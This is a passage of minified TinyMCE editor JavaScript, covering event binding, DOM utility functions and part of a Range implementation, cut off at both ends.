event.target||(event.target=event.srcElement||document),event.preventDefault=function(){event.isDefaultPrevented=returnTrue,original_event&&(original_event.preventDefault?original_event.preventDefault():original_event.returnValue=!1)},event.stopPropagation=function(){event.isPropagationStopped=returnTrue,original_event&&(original_event.stopPropagation?original_event.stopPropagation():original_event.cancelBubble=!0)},event.stopImmediatePropagation=function(){event.isImmediatePropagationStopped=returnTrue,event.stopPropagation()},event.isDefaultPrevented||(event.isDefaultPrevented=returnFalse,event.isPropagationStopped=returnFalse,event.isImmediatePropagationStopped=returnFalse),event}function bindOnReady(win,callback,event_utils){function readyHandler(){event_utils.domLoaded||(event_utils.domLoaded=!0,callback(event))}var doc=win.document,event={type:"ready"};return"complete"==doc.readyState?void readyHandler():(w3cEventModel?addEvent(win,"DOMContentLoaded",readyHandler):(addEvent(doc,"readystatechange",function(){"complete"===doc.readyState&&(removeEvent(doc,"readystatechange",arguments.callee),readyHandler())}),doc.documentElement.doScroll&&win===win.top&&!function(){try{doc.documentElement.doScroll("left")}catch(ex){return void setTimeout(arguments.callee,0)}readyHandler()}()),void addEvent(win,"load",readyHandler))}function EventUtils(proxy){function executeHandlers(evt,id){var callbackList,i,l,callback;if(callbackList=events[id][evt.type])for(i=0,l=callbackList.length;i<l;i++)if(callback=callbackList[i],callback&&callback.func.call(callback.scope,evt)===!1&&evt.preventDefault(),evt.isImmediatePropagationStopped())return}var count,hasFocusIn,hasMouseEnterLeave,mouseEnterLeave,self=this,events={};hasMouseEnterLeave="onmouseenter"in document.documentElement,hasFocusIn="onfocusin"in document.documentElement,mouseEnterLeave={mouseenter:"mouseover",mouseleave:"mouseout"},count=1,self.domLoaded=!1,self.events=events,self.bind=function(target,names,callback,scope){function defaultNativeHandler(evt){executeHandlers(fix(evt||win.event),id)}var id,callbackList,i,name,fakeName,nativeHandler,capture,win=window;if(target&&3!==target.nodeType&&8!==target.nodeType){for(target[expando]?(id=target[expando],events[id]||(events[id]={})):(id=count++,target[expando]=id,events[id]={}),scope=scope||target,names=names.split(" "),i=names.length;i--;)name=names[i],nativeHandler=defaultNativeHandler,fakeName=capture=!1,"DOMContentLoaded"===name&&(name="ready"),!self.domLoaded&&"complete"!=target.readyState||"ready"!==name?(hasMouseEnterLeave||(fakeName=mouseEnterLeave[name],fakeName&&(nativeHandler=function(evt){var current,related;if(current=evt.currentTarget,related=evt.relatedTarget,related&&current.contains)related=current.contains(related);else for(;related&&related!==current;)related=related.parentNode;related||(evt=fix(evt||win.event),evt.type="mouseout"===evt.type?"mouseleave":"mouseenter",evt.target=current,executeHandlers(evt,id))})),hasFocusIn||"focusin"!==name&&"focusout"!==name||(capture=!0,fakeName="focusin"===name?"focus":"blur",nativeHandler=function(evt){evt=fix(evt||win.event),evt.type="focus"===evt.type?"focusin":"focusout",executeHandlers(evt,id)}),callbackList=events[id][name],callbackList?callbackList.push({func:callback,scope:scope}):(events[id][name]=callbackList=[{func:callback,scope:scope}],callbackList.fakeName=fakeName,callbackList.capture=capture,callbackList.nativeHandler=nativeHandler,w3cEventModel||(callbackList.proxyHandler=proxy(id)),"ready"===name?bindOnReady(target,nativeHandler,self):addEvent(target,fakeName||name,w3cEventModel?nativeHandler:callbackList.proxyHandler,capture))):(self.domLoaded=!0,callback.call(scope,fix({type:name})));return target=callbackList=0,callback}},self.unbind=function(target,names,callback){var id,callbackList,i,ci,name,eventMap;if(!target||3===target.nodeType||8===target.nodeType)return self;if(id=target[expando]){if(eventMap=events[id],names){for(names=names.split(" "),i=names.length;i--;)if(name=names[i],callbackList=eventMap[name]){if(callback)for(ci=callbackList.length;ci--;)callbackList[ci].func===callback&&callbackList.splice(ci,1);callback&&0!==callbackList.length||(delete eventMap[name],removeEvent(target,callbackList.fakeName||name,w3cEventModel?callbackList.nativeHandler:callbackList.proxyHandler,callbackList.capture))}}else{for(name in eventMap)callbackList=eventMap[name],removeEvent(target,callbackList.fakeName||name,w3cEventModel?callbackList.nativeHandler:callbackList.proxyHandler,callbackList.capture);eventMap={}}for(name in eventMap)return self;delete events[id];try{delete target[expando]}catch(ex){target[expando]=null}}return self},self.fire=function(target,name,args){var id,event;if(!target||3===target.nodeType||8===target.nodeType)return self;event=fix(null,args),event.type=name;do id=target[expando],id&&executeHandlers(event,id),target=target.parentNode||target.ownerDocument||target.defaultView||target.parentWindow;while(target&&!event.isPropagationStopped());return self},self.clean=function(target){var i,children,unbind=self.unbind;if(!target||3===target.nodeType||8===target.nodeType)return self;if(target[expando]&&unbind(target),target.getElementsByTagName||(target=target.document),target&&target.getElementsByTagName)for(unbind(target),children=target.getElementsByTagName("*"),i=children.length;i--;)target=children[i],target[expando]&&unbind(target);return self},self.callNativeHandler=function(id,evt){events&&events[id][evt.type].nativeHandler(evt)},self.destory=function(){events={}},self.add=function(target,events,func,scope){"string"==typeof target&&(target=document.getElementById(target));{if(!(target&&target instanceof Array))return"init"===events&&(events="ready"),self.bind(target,events instanceof Array?events.join(" "):events,func,scope);for(var i=target.length;i--;)self.add(target[i],events,func,scope)}},self.remove=function(target,events,func,scope){if(!target)return self;if("string"==typeof target&&(target=document.getElementById(target)),target instanceof Array){for(var i=target.length;i--;)self.remove(target[i],events,func,scope);return self}return self.unbind(target,events instanceof Array?events.join(" "):events,func)},self.clear=function(target){return"string"==typeof target&&(target=document.getElementById(target)),self.clean(target)},self.cancel=function(e){return e&&(self.prevent(e),self.stop(e)),!1},self.prevent=function(e){return e.preventDefault||(e=fix(e)),e.preventDefault(),!1},self.stop=function(e){return e.stopPropagation||(e=fix(e)),e.stopPropagation(),!1}}var w3cEventModel=!!document.addEventListener;namespace.EventUtils=EventUtils,namespace.Event=new EventUtils(function(id){return function(evt){tinymce.dom.Event.callNativeHandler(id,evt)}}),namespace.Event.bind(window,"ready",function(){}),namespace=0}(tinymce.dom,"data-mce-expando"),tinymce.dom.TreeWalker=function(startNode,rootNode){function findSibling(node,startName,siblingName,shallow){var sibling,parent;if(node){if(!shallow&&node[startName])return node[startName];if(node!=rootNode){if(sibling=node[siblingName])return sibling;for(parent=node.parentNode;parent&&parent!=rootNode;parent=parent.parentNode)if(sibling=parent[siblingName])return sibling}}}function findPreviousNode(node,startName,siblingName,shallow){var sibling,parent,child;if(node){if(sibling=node[siblingName],rootNode&&sibling===rootNode)return;if(sibling){if(!shallow)for(child=sibling[startName];child;child=child[startName])if(!child[startName])return child;return sibling}if(parent=node.parentNode,parent&&parent!==rootNode)return parent}}var node=startNode;this.current=function(){return node},this.next=function(shallow){return node=findSibling(node,"firstChild","nextSibling",shallow)},this.prev=function(shallow){return node=findSibling(node,"lastChild","previousSibling",shallow)},this.prev2=function(shallow){return node=findPreviousNode(node,"lastChild","previousSibling",shallow)}},function(tinymce){var each=tinymce.each,is=tinymce.is,isWebKit=tinymce.isWebKit,isIE=tinymce.isIE,Entities=tinymce.html.Entities,simpleSelectorRe=/^([a-z0-9],?)+$/i,whiteSpaceRegExp=/^[ \t\r\n]*$/;tinymce.create("tinymce.dom.DOMUtils",{doc:null,root:null,files:null,pixelStyles:/^(top|left|bottom|right|width|height|maxWidth|maxHeight|minWidth|minHeight|borderWidth)$/,props:{for:"htmlFor",class:"className",className:"className",checked:"checked",disabled:"disabled",maxlength:"maxLength",readonly:"readOnly",selected:"selected",value:"value",id:"id",name:"name",type:"type"},DOMUtils:function(d,s){var blockElementsMap,t=this;if(t.doc=d,t.win=window,t.files={},t.cssFlicker=!1,t.counter=0,t.stdMode=!tinymce.isIE||d.documentMode>=8,t.boxModel=!tinymce.isIE||"CSS1Compat"==d.compatMode||t.stdMode,t.hasOuterHTML="outerHTML"in d.createElement("a"),t.settings=s=tinymce.extend({keep_values:!1,hex_colors:1},s),t.schema=s.schema,t.styles=new tinymce.html.Styles({url_converter:s.url_converter,url_converter_scope:s.url_converter_scope},s.schema),tinymce.isIE6)try{d.execCommand("BackgroundImageCache",!1,!0)}catch(e){t.cssFlicker=!0}t.fixDoc(d),t.events=s.ownEvents?new tinymce.dom.EventUtils(s.proxy):tinymce.dom.Event,tinymce.addUnload(t.destroy,t),blockElementsMap=s.schema?s.schema.getBlockElements():{},t.isBlock=function(node){if(!node)return!1;var type=node.nodeType;return type?!(1!==type||!blockElementsMap[node.nodeName]):!!blockElementsMap[node]}},fixDoc:function(doc){var name,settings=this.settings;if(isIE&&!tinymce.isIE11&&!tinymce.isIE12&&settings.schema){"abbr article aside audio canvas details figcaption figure footer header hgroup mark menu meter nav output progress section summary time video".replace(/\w+/g,function(name){doc.createElement(name)});for(name in settings.schema.getCustomElements())doc.createElement(name)}},clone:function(node,deep){var clone,doc,self=this;return!isIE||tinymce.isIE11||1!==node.nodeType||deep?node.cloneNode(deep):(doc=self.doc,deep?clone.firstChild:(clone=doc.createElement(node.nodeName),each(self.getAttribs(node),function(attr){self.setAttrib(clone,attr.nodeName,self.getAttrib(node,attr.nodeName))}),clone))},getRoot:function(){var t=this,s=t.settings;return s&&t.get(s.root_element)||t.doc.body},getViewPort:function(w){var d,b;return w=w?w:this.win,d=w.document,b=this.boxModel?d.documentElement:d.body,{x:w.pageXOffset||b.scrollLeft,y:w.pageYOffset||b.scrollTop,w:w.innerWidth||b.clientWidth,h:w.innerHeight||b.clientHeight}},getRect:function(e){var p,sr,t=this;return e=t.get(e),p=t.getPos(e),sr=t.getSize(e),{x:p.x,y:p.y,w:sr.w,h:sr.h}},getSize:function(e){var w,h,t=this;return e=t.get(e),w=t.getStyle(e,"width"),h=t.getStyle(e,"height"),w.indexOf("px")===-1&&(w=0),h.indexOf("px")===-1&&(h=0),{w:parseInt(w,10)||e.offsetWidth||e.clientWidth,h:parseInt(h,10)||e.offsetHeight||e.clientHeight}},getParent:function(n,f,r){return this.getParents(n,f,r,!1)},getParents:function(n,f,r,c){var na,t=this,se=t.settings,o=[];for(n=t.get(n),c=void 0===c,se.strict_root&&(r=r||t.getRoot()),is(f,"string")&&(na=f,f="*"===f?function(n){return 1==n.nodeType}:function(n){return t.is(n,na)});n&&n!=r&&n.nodeType&&9!==n.nodeType;){if(!f||f(n)){if(!c)return n;o.push(n)}n=n.parentNode}return c?o:null},get:function(e){var n;return e&&this.doc&&"string"==typeof e&&(n=e,e=this.doc.getElementById(e),e&&e.id!==n)?this.doc.getElementsByName(n)[1]:e},getNext:function(node,selector){return this._findSib(node,selector,"nextSibling")},getPrev:function(node,selector){return this._findSib(node,selector,"previousSibling")},select:function(pa,s){var t=this;return tinymce.dom.Sizzle(pa,t.get(s)||t.get(t.settings.root_element)||t.doc,[])},is:function(n,selector){var i;if(void 0===n.length){if("*"===selector)return 1==n.nodeType;if(simpleSelectorRe.test(selector)){for(selector=selector.toLowerCase().split(/,/),n=n.nodeName.toLowerCase(),i=selector.length-1;i>=0;i--)if(selector[i]==n)return!0;return!1}}return tinymce.dom.Sizzle.matches(selector,n.nodeType?[n]:n).length>0},closest:function(n,selector){for(var t=this,result=[];n;){if("string"==typeof selector&&t.is(n,selector)){result.push(n);break}if(n===selector){result.push(n);break}n=n.parentNode}return result},add:function(p,n,a,h,c){var t=this;return this.run(p,function(p){var e;return e=is(n,"string")?t.doc.createElement(n):n,t.setAttribs(e,a),h&&(h.nodeType?e.appendChild(h):t.setHTML(e,h)),c?e:p.appendChild(e)})},create:function(n,a,h){return this.add(this.doc.createElement(n),n,a,h,1)},createHTML:function(n,a,h){var k,o="",t=this;o+="<"+n;for(k in a)a.hasOwnProperty(k)&&(o+=" "+k+'="'+t.encode(a[k])+'"');return"undefined"!=typeof h?o+">"+h+"</"+n+">":o+" />"},createFragment:function(html){var frag,node,container,doc=this.doc;for(container=doc.createElement("div"),frag=doc.createDocumentFragment(),html&&(container.innerHTML=html);node=container.firstChild;)frag.appendChild(node);return frag},remove:function(node,keep_children){return this.run(node,function(node){var child,parent=node.parentNode;if(!parent)return null;if(keep_children)for(;child=node.firstChild;)!tinymce.isIE||3!==child.nodeType||child.nodeValue?parent.insertBefore(child,node):node.removeChild(child);return parent.removeChild(node)})},empty:function(node){return this.run(node,function(node){for(var n,i=node.length;i--;)for(n=node[i];n.firstChild;)n.removeChild(n.firstChild);return!0})},setStyle:function(n,na,v){var t=this;return t.run(n,function(e){var s;switch(s=e.style,na=na.replace(/-(\D)/g,function(a,b){return b.toUpperCase()}),t.pixelStyles.test(na)&&(tinymce.is(v,"number")||/^[\-0-9\.]+$/.test(v))&&(v+="px"),na){case"opacity":!isIE||tinymce.isIE11||tinymce.isIE12||(s.filter=""===v?"":"alpha(opacity="+100*v+")",n.currentStyle&&n.currentStyle.hasLayout||(s.display="inline-block")),s[na]=s["-moz-opacity"]=s["-khtml-opacity"]=v||"";break;case"float":!isIE||tinymce.isIE11||tinymce.isIE12?s.cssFloat=v:s.styleFloat=v;break;default:s[na]=v||""}t.settings.update_styles&&(v=t.serializeStyle(t.parseStyle(e.style.cssText),e.nodeName),t.setAttrib(e,"data-mce-style",v))})},getStyle:function(n,na,c){if(n=this.get(n)){if(this.doc.defaultView&&c){na=na.replace(/[A-Z]/g,function(a){return"-"+a});try{return this.doc.defaultView.getComputedStyle(n,null).getPropertyValue(na)}catch(ex){return null}}return na=na.replace(/-(\D)/g,function(a,b){return b.toUpperCase()}),"float"==na&&(na=isIE?"styleFloat":"cssFloat"),n.currentStyle&&c?n.currentStyle[na]:n.style?n.style[na]:void 0}},setStyles:function(e,o){var ol,v,t=this,s=t.settings;ol=s.update_styles,s.update_styles=0,each(o,function(v,n){t.setStyle(e,n,v)}),s.update_styles=ol,ol&&(v=t.serializeStyle(t.parseStyle(e.style.cssText),e.nodeName),t.setAttrib(e,"data-mce-style",v))},removeAllAttribs:function(e){return this.run(e,function(e){var i,attrs=e.attributes;for(i=attrs.length-1;i>=0;i--)e.removeAttributeNode(attrs.item(i))})},removeAttrib:function(e,n){var t=this;if(e&&n)return t.settings.strict&&(n=n.toLowerCase()),this.run(e,function(e){e.removeAttribute(n,2)})},setAttrib:function(e,n,v){var t=this;if(e&&n)return t.settings.strict&&(n=n.toLowerCase()),this.run(e,function(e){var s=t.settings,originalValue=e.getAttribute(n);if(null!==v)switch(n){case"style":if(!is(v,"string"))return void each(v,function(v,n){t.setStyle(e,n,v)});s.keep_values&&(v&&!t._isRes(v)?e.setAttribute("data-mce-style",v,2):e.removeAttribute("data-mce-style",2)),e.style.cssText=v;break;case"class":e.className=v||"";break;case"src":case"href":s.keep_values&&(s.url_converter&&(v=s.url_converter.call(s.url_converter_scope||t,v,n,e)),t.setAttrib(e,"data-mce-"+n,v,2));break;case"shape":e.setAttribute("data-mce-style",v)}if(is(v)&&null!==v&&0!==v.length?e.setAttribute(n,""+v,2):e.removeAttribute(n,2),tinyMCE.activeEditor&&originalValue!=v){var ed=tinyMCE.activeEditor;ed.onSetAttrib.dispatch(ed,e,n,v)}})},setAttribs:function(e,o){var t=this;return this.run(e,function(e){each(o,function(v,n){t.setAttrib(e,n,v)})})},getAttrib:function(e,n,dv){var v,undef,t=this;if(e=t.get(e),!e||1!==e.nodeType)return dv!==undef&&dv;if(is(dv)||(dv=""),/^(src|href|style|coords|shape)$/.test(n)&&(v=e.getAttribute("data-mce-"+n)))return v;if(isIE&&t.props[n]&&(v=e[t.props[n]],v=v&&v.nodeValue?v.nodeValue:v),v||(v=e.getAttribute(n,2)),/^(checked|compact|declare|defer|disabled|ismap|multiple|nohref|noshade|nowrap|readonly|selected)$/.test(n))return e[t.props[n]]===!0&&""===v?n:v?n:"";if("FORM"===e.nodeName&&e.getAttributeNode(n))return e.getAttributeNode(n).nodeValue;if("style"===n&&(v=v||e.style.cssText,v&&(v=t.serializeStyle(t.parseStyle(v),e.nodeName),t.settings.keep_values&&!t._isRes(v)&&e.setAttribute("data-mce-style",v))),isWebKit&&"class"===n&&v&&(v=v.replace(/(apple|webkit)\-[a-z\-]+/gi,"")),isIE)switch(n){case"rowspan":case"colspan":1===v&&(v="");break;case"size":"+0"!==v&&20!==v&&0!==v||(v="");break;case"width":case"height":case"vspace":case"checked":case"disabled":case"readonly":0===v&&(v="");break;case"hspace":v===-1&&(v="");break;case"maxlength":case"tabindex":32768!==v&&2147483647!==v&&"32768"!==v||(v="");break;case"multiple":case"compact":case"noshade":case"nowrap":return 65535===v?n:dv;case"shape":v=v.toLowerCase();break;default:0===n.indexOf("on")&&v&&(v=tinymce._replace(/^function\s+\w+\(\)\s+\{\s+(.*)\s+\}$/,"$1",""+v))}return v!==undef&&null!==v&&""!==v?""+v:dv},getPos:function(n,ro){var e,r,t=this,x=0,y=0,d=t.doc,body=d.body;if(n=t.get(n),ro=ro||body,n){if(ro===body&&n.getBoundingClientRect&&"static"===t.getStyle(body,"position"))return n=n.getBoundingClientRect(),e=t.boxModel?d.documentElement:d.body,x=n.left+(d.documentElement.scrollLeft||d.body.scrollLeft)-e.clientTop,y=n.top+(d.documentElement.scrollTop||d.body.scrollTop)-e.clientLeft,{x:x,y:y};for(r=n;r&&r!=ro&&r.nodeType;)x+=r.offsetLeft||0,y+=r.offsetTop||0,r=r.offsetParent;for(r=n.parentNode;r&&r!=ro&&r.nodeType;)x-=r.scrollLeft||0,y-=r.scrollTop||0,r=r.parentNode}return{x:x,y:y}},parseStyle:function(st){return this.styles.parse(st)},serializeStyle:function(o,name){return this.styles.serialize(o,name)},addStyle:function(cssText){var head,doc=this.doc;styleElm=doc.getElementById("mceDefaultStyles"),styleElm||(styleElm=doc.createElement("style"),styleElm.id="mceDefaultStyles",styleElm.type="text/css",head=doc.getElementsByTagName("head")[0],head.firstChild?head.insertBefore(styleElm,head.firstChild):head.appendChild(styleElm)),styleElm.styleSheet?styleElm.styleSheet.cssText+=cssText:styleElm.appendChild(doc.createTextNode(cssText))},loadCSS:function(u){var head,t=this,d=t.doc;u||(u=""),head=d.getElementsByTagName("head")[0],each(u.split(","),function(u){var link;t.files[u]||(t.files[u]=!0,link=t.create("link",{rel:"stylesheet",href:tinymce._addVer(u)}),isIE&&!tinymce.isIE11&&d.documentMode&&d.recalc&&(link.onload=function(){d.recalc&&d.recalc(),link.onload=null}),head.appendChild(link))})},addClass:function(e,c){return this.run(e,function(e){var o;return c?this.hasClass(e,c)?e.className:(o=this.removeClass(e,c),e.className=(""!=o?o+" ":"")+c):0})},removeClass:function(e,c){var re,t=this;return t.run(e,function(e){var v;return t.hasClass(e,c)?(re||(re=new RegExp("(^|\\s+)"+c+"(\\s+|$)","g")),v=e.className.replace(re," "),v=tinymce.trim(" "!=v?v:""),e.className=v,v||(e.removeAttribute("class"),e.removeAttribute("className")),v):e.className})},hasClass:function(n,c){return n=this.get(n),!(!n||!c)&&(" "+n.className+" ").indexOf(" "+c+" ")!==-1},show:function(e){return this.setStyle(e,"display","block")},hide:function(e){return this.setStyle(e,"display","none")},isHidden:function(e){return e=this.get(e),!e||"none"==e.style.display||"none"==this.getStyle(e,"display")},uniqueId:function(p){return(p?p:"mce_")+this.counter++},setHTML:function(element,html){var self=this;return self.run(element,function(element){if(isIE){for(;element.firstChild;)element.removeChild(element.firstChild);try{element.innerHTML="<br />"+html,element.removeChild(element.firstChild)}catch(ex){var newElement=self.create("div");newElement.innerHTML="<br />"+html,each(tinymce.grep(newElement.childNodes),function(node,i){i&&element.canHaveHTML&&element.appendChild(node)})}}else element.innerHTML=html;return html})},getOuterHTML:function(elm){var doc,self=this;return(elm=self.get(elm))?1===elm.nodeType&&self.hasOuterHTML?elm.outerHTML:(doc=(elm.ownerDocument||self.doc).createElement("body"),doc.appendChild(elm.cloneNode(!0)),doc.innerHTML):null},setOuterHTML:function(e,h,d){function setHTML(e,h,d){var n,tp;for(tp=d.createElement("body"),tp.innerHTML=h,n=tp.lastChild;n;)t.insertAfter(n.cloneNode(!0),e),n=n.previousSibling;t.remove(e)}var t=this;return this.run(e,function(e){if(e=t.get(e),1==e.nodeType)if(d=d||e.ownerDocument||t.doc,isIE)try{isIE&&1==e.nodeType?e.outerHTML=h:setHTML(e,h,d)}catch(ex){setHTML(e,h,d)}else setHTML(e,h,d)})},decode:Entities.decode,encode:Entities.encodeAllRaw,insertAfter:function(node,reference_node){return reference_node=this.get(reference_node),this.run(node,function(node){var parent,nextSibling;return parent=reference_node.parentNode,nextSibling=reference_node.nextSibling,nextSibling?parent.insertBefore(node,nextSibling):parent.appendChild(node),node})},replace:function(n,o,k){var t=this;return is(o,"array")&&(n=n.cloneNode(!0)),t.run(o,function(o){return k&&each(tinymce.grep(o.childNodes),function(c){n.appendChild(c)}),o.parentNode.replaceChild(n,o)})},rename:function(elm,name){var newElm,t=this;return elm.nodeName!=name.toUpperCase()&&(newElm=t.create(name),each(t.getAttribs(elm),function(attr_node){t.setAttrib(newElm,attr_node.nodeName,t.getAttrib(elm,attr_node.nodeName))}),t.replace(newElm,elm,1)),newElm||elm},findCommonAncestor:function(a,b){for(var pe,ps=a;ps;){for(pe=b;pe&&ps!=pe;)pe=pe.parentNode;if(ps==pe)break;ps=ps.parentNode}return!ps&&a.ownerDocument?a.ownerDocument.documentElement:ps},toHex:function(s){function hex(s){return s=parseInt(s,10).toString(16),s.length>1?s:"0"+s}var c=/^\s*rgb\s*?\(\s*?([0-9]+)\s*?,\s*?([0-9]+)\s*?,\s*?([0-9]+)\s*?\)\s*$/i.exec(s);return c?s="#"+hex(c[1])+hex(c[2])+hex(c[3]):s},getClasses:function(){function addClasses(s){each(s.imports,function(r){addClasses(r)}),each(s.cssRules||s.rules,function(r){switch(r.type||1){case 1:r.selectorText&&each(r.selectorText.split(","),function(v){v=v.replace(/^\s*|\s*$|^\s\./g,""),!/\.mce/.test(v)&&/\.[\w\-]+$/.test(v)&&(ov=v,v=tinymce._replace(/.*\.([a-z0-9_\-]+).*/i,"$1",v),f&&!(v=f(v,ov))||lo[v]||(cl.push({class:v}),lo[v]=1))});break;case 3:try{addClasses(r.styleSheet)}catch(ex){}}})}var ov,t=this,cl=[],lo={},f=t.settings.class_filter;if(t.classes)return t.classes;try{each(t.doc.styleSheets,addClasses)}catch(ex){}return cl.length>0&&(t.classes=cl),cl},run:function(e,f,s){var o,t=this;return t.doc&&"string"==typeof e&&(e=t.get(e)),!!e&&(s=s||this,e.nodeType||!e.length&&0!==e.length?f.call(s,e):(o=[],each(e,function(e,i){e&&("string"==typeof e&&(e=t.doc.getElementById(e)),o.push(f.call(s,e,i)))}),o))},getAttribs:function(n){var o;return n=this.get(n),n?isIE?(o=[],"OBJECT"==n.nodeName?n.attributes:("OPTION"===n.nodeName&&this.getAttrib(n,"selected")&&o.push({specified:1,nodeName:"selected"}),n.cloneNode(!1).outerHTML.replace(/<\/?[\w:\-]+ ?|=[\"][^\"]+\"|=\'[^\']+\'|=[\w\-]+|>/gi,"").replace(/[\w:\-]+/gi,function(a){o.push({specified:1,nodeName:a})}),o)):n.attributes:[]},isEmpty:function(node,elements){var i,attributes,type,walker,name,self=this,brCount=0;if(node=node.firstChild){walker=new tinymce.dom.TreeWalker(node,node.parentNode),elements=elements||self.schema?self.schema.getNonEmptyElements():null;do{if(type=node.nodeType,1===type){if(node.getAttribute("data-mce-bogus"))continue;if(name=node.nodeName.toLowerCase(),elements&&elements[name]){if("br"===name){brCount++;continue}return!1}for(attributes=self.getAttribs(node),i=node.attributes.length;i--;)if(name=node.attributes[i].nodeName,"name"===name||"data-mce-bookmark"===name)return!1}if(8==type)return!1;if(3===type&&!whiteSpaceRegExp.test(node.nodeValue))return!1}while(node=walker.next())}return brCount<=1},destroy:function(s){var t=this;t.win=t.doc=t.root=t.events=t.frag=null,s||tinymce.removeUnload(t.destroy)},createRng:function(){var d=this.doc;return d.createRange?d.createRange():new tinymce.dom.Range(this)},nodeIndex:function(node,normalized){var lastNodeType,lastNode,nodeType,idx=0;if(node)for(lastNodeType=node.nodeType,node=node.previousSibling,lastNode=node;node;node=node.previousSibling)nodeType=node.nodeType,(!normalized||3!=nodeType||nodeType!=lastNodeType&&node.nodeValue.length)&&(idx++,lastNodeType=nodeType);return idx},split:function(pe,e,re){function trim(node){function surroundedBySpans(node){var previousIsSpan=node.previousSibling&&"SPAN"==node.previousSibling.nodeName,nextIsSpan=node.nextSibling&&"SPAN"==node.nextSibling.nodeName;return previousIsSpan&&nextIsSpan}var i,children=node.childNodes,type=node.nodeType;if(1!=type||"bookmark"!=node.getAttribute("data-mce-type")){for(i=children.length-1;i>=0;i--)trim(children[i]);if(9!=type){if(3==type&&node.nodeValue.length>0){var trimmedLength=tinymce.trim(node.nodeValue).length;if(!t.isBlock(node.parentNode)||trimmedLength>0||0===trimmedLength&&surroundedBySpans(node))return}else if(1==type&&(children=node.childNodes,1==children.length&&children[0]&&1==children[0].nodeType&&"bookmark"==children[0].getAttribute("data-mce-type")&&node.parentNode.insertBefore(children[0],node),children.length||/^(br|hr|input|img)$/i.test(node.nodeName)))return;t.remove(node)}return node}}var bef,aft,pa,t=this,r=t.createRng();if(pe&&e)return r.setStart(pe.parentNode,t.nodeIndex(pe)),r.setEnd(e.parentNode,t.nodeIndex(e)),bef=r.extractContents(),r=t.createRng(),r.setStart(e.parentNode,t.nodeIndex(e)+1),r.setEnd(pe.parentNode,t.nodeIndex(pe)+1),aft=r.extractContents(),pa=pe.parentNode,pa.insertBefore(trim(bef),pe),re?pa.replaceChild(re,e):pa.insertBefore(e,pe),pa.insertBefore(trim(aft),pe),t.remove(pe),re||e},bind:function(target,name,func,scope){return this.events.add(target,name,func,scope||this)},unbind:function(target,name,func){return this.events.remove(target,name,func)},fire:function(target,name,evt){return this.events.fire(target,name,evt)},getContentEditable:function(node){var contentEditable;return 1!=node.nodeType?null:(contentEditable=node.getAttribute("data-mce-contenteditable"),contentEditable&&"inherit"!==contentEditable?contentEditable:"inherit"!==node.contentEditable?node.contentEditable:null)},isChildOf:function(node,parent){for(;node;){if(parent===node)return!0;node=node.parentNode}return!1},dumpRng:function(r){return"startContainer: "+r.startContainer.nodeName+", startOffset: "+r.startOffset+", endContainer: "+r.endContainer.nodeName+", endOffset: "+r.endOffset},_findSib:function(node,selector,name){var t=this,f=selector;if(node)for(is(f,"string")&&(f=function(node){return t.is(node,selector)}),node=node[name];node;node=node[name])if(f(node))return node;
return null},_isRes:function(c){return/^(top|left|bottom|right|width|height)/i.test(c)||/;\s*(top|left|bottom|right|width|height)/i.test(c)}}),tinymce.DOM=new tinymce.dom.DOMUtils(document,{process_html:0})}(tinymce),function(ns){function Range(dom){function createDocumentFragment(){return doc.createDocumentFragment()}function setStart(n,o){_setEndPoint(TRUE,n,o)}function setEnd(n,o){_setEndPoint(FALSE,n,o)}function setStartBefore(n){setStart(n.parentNode,nodeIndex(n))}function setStartAfter(n){setStart(n.parentNode,nodeIndex(n)+1)}function setEndBefore(n){setEnd(n.parentNode,nodeIndex(n))}function setEndAfter(n){setEnd(n.parentNode,nodeIndex(n)+1)}function collapse(ts){ts?(self[END_CONTAINER]=self[START_CONTAINER],self[END_OFFSET]=self[START_OFFSET]):(self[START_CONTAINER]=self[END_CONTAINER],self[START_OFFSET]=self[END_OFFSET]),self.collapsed=TRUE}function selectNode(n){setStartBefore(n),setEndAfter(n)}function selectNodeContents(n){setStart(n,0),setEnd(n,1===n.nodeType?n.childNodes.length:n.nodeValue.length)}function compareBoundaryPoints(h,r){var sc=self[START_CONTAINER],so=self[START_OFFSET],ec=self[END_CONTAINER],eo=self[END_OFFSET],rsc=r.startContainer,rso=r.startOffset,rec=r.endContainer,reo=r.endOffset;return 0===h?_compareBoundaryPoints(sc,so,rsc,rso):1===h?_compareBoundaryPoints(ec,eo,rsc,rso):2===h?_compareBoundaryPoints(ec,eo,rec,reo):3===h?_compareBoundaryPoints(sc,so,rec,reo):void 0}function deleteContents(){_traverse(DELETE)}function extractContents(){return _traverse(EXTRACT)}function cloneContents(){return _traverse(CLONE)}function insertNode(n){var nn,o,startContainer=this[START_CONTAINER],startOffset=this[START_OFFSET];3!==startContainer.nodeType&&4!==startContainer.nodeType||!startContainer.nodeValue?(startContainer.childNodes.length>0&&(o=startContainer.childNodes[startOffset]),o?startContainer.insertBefore(n,o):3==startContainer.nodeType?dom.insertAfter(n,startContainer):startContainer.appendChild(n)):startOffset?startOffset>=startContainer.nodeValue.length?dom.insertAfter(n,startContainer):(nn=startContainer.splitText(startOffset),startContainer.parentNode.insertBefore(n,nn)):startContainer.parentNode.insertBefore(n,startContainer)}function surroundContents(n){var f=self.extractContents();self.insertNode(n),n.appendChild(f),self.selectNode(n)}function cloneRange(){return extend(new Range(dom),{startContainer:self[START_CONTAINER],startOffset:self[START_OFFSET],endContainer:self[END_CONTAINER],endOffset:self[END_OFFSET],collapsed:self.collapsed,commonAncestorContainer:self.commonAncestorContainer})}function _getSelectedNode(container,offset){var child;if(3==container.nodeType)return container;if(offset<0)return container;for(child=container.firstChild;child&&offset>0;)--offset,child=child.nextSibling;return child?child:container}function _isCollapsed(){return self[START_CONTAINER]==self[END_CONTAINER]&&self[START_OFFSET]==self[END_OFFSET]}function _compareBoundaryPoints(containerA,offsetA,containerB,offsetB){var c,offsetC,n,cmnRoot,childA,childB;if(containerA==containerB)return offsetA==offsetB?0:offsetA<offsetB?-1:1;for(c=containerB;c&&c.parentNode!=containerA;)c=c.parentNode;if(c){for(offsetC=0,n=containerA.firstChild;n!=c&&offsetC<offsetA;)offsetC++,n=n.nextSibling;return offsetA<=offsetC?-1:1}for(c=containerA;c&&c.parentNode!=containerB;)c=c.parentNode;if(c){for(offsetC=0,n=containerB.firstChild;n!=c&&offsetC<offsetB;)offsetC++,n=n.nextSibling;return offsetC<offsetB?-1:1}for(cmnRoot=dom.findCommonAncestor(containerA,containerB),childA=containerA;childA&&childA.parentNode!=cmnRoot;)childA=childA.parentNode;for(childA||(childA=cmnRoot),childB=containerB;childB&&childB.parentNode!=cmnRoot;)childB=childB.parentNode;if(childB||(childB=cmnRoot),childA==childB)return 